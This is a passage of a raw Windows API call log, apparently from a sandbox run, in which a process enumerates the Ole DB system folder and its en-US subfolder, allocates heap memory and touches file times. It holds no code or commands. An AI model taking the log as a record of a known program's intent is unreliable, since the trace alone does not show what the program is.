(HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9206f0 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925c90 [0244.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0244.973] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.973] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.973] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.973] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920710 [0244.973] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.973] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x9c0) returned 0x927e90 [0244.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927508) returned 1 [0244.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0244.973] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0244.973] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0244.973] GetLastError () returned 0x12 [0244.973] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0244.974] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.974] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.974] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.974] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0244.977] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.977] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x928858, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x928858, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.977] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x928858) returned 1 [0244.977] NtClose (Handle=0x170) returned 0x0 [0244.977] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925e28 [0244.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.977] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0244.977] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.977] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0244.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.977] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.977] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925e28) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920770 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923d60 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.978] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920790 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923e68 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.978] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9207b0 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923f70 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.978] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9207d0 [0244.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x924078 [0244.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925f38) returned 1 [0244.979] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0244.979] GetLastError () returned 0x12 [0244.979] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0244.979] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.979] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.979] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0244.979] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0244.979] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0244.979] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0244.979] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0244.979] GetLastError () returned 0x12 [0244.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.979] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0244.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, 